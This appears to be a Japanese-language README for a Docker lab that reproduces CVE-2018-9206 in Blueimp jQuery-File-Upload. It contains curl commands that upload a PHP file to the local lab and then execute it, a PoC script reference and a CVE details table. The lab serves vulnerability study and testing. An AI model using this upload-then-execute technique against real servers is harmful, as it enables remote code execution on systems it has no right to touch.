flame-11/cve-2018-9206-jquery-file-uploadDockerベースのラボ環境。CVE-2018-9206（Blueimp jQuery-File-Uploadの制限なしファイルアップロードからRCEに至る脆弱性）を再現し、PoCスクリプトと検証コマンドを含む。
CVE-2018-9206 の脆弱なDocker環境 - Blueimp jQuery-File-Upload <= 9.22.0 における無制限ファイルアップロード
docker compose up -d --build
アプリケーションは以下で利用可能: http://localhost:8888/jQuery-File-Upload/
# Upload a PHP file
curl -X POST "http://localhost:8888/jQuery-File-Upload/server/php/index.php" \
-F 'files[]=@/dev/stdin;filename=test.php' <<< '<?php echo "CVE-2018-9206-PWNED"; ?>'
# Execute it
curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php"
# Output: CVE-2018-9206-PWNED
またはPoCスクリプトを実行:
./scripts/poc.sh
docker compose down -v
| フィールド | 値 |
|---|---|
| CVE | CVE-2018-9206 |
| 製品 | Blueimp jQuery-File-Upload |
| バージョン | 9.22.0 |
| タイプ | 無制限ファイルアップロード → RCE |
| CVSS | 9.8 (重要) |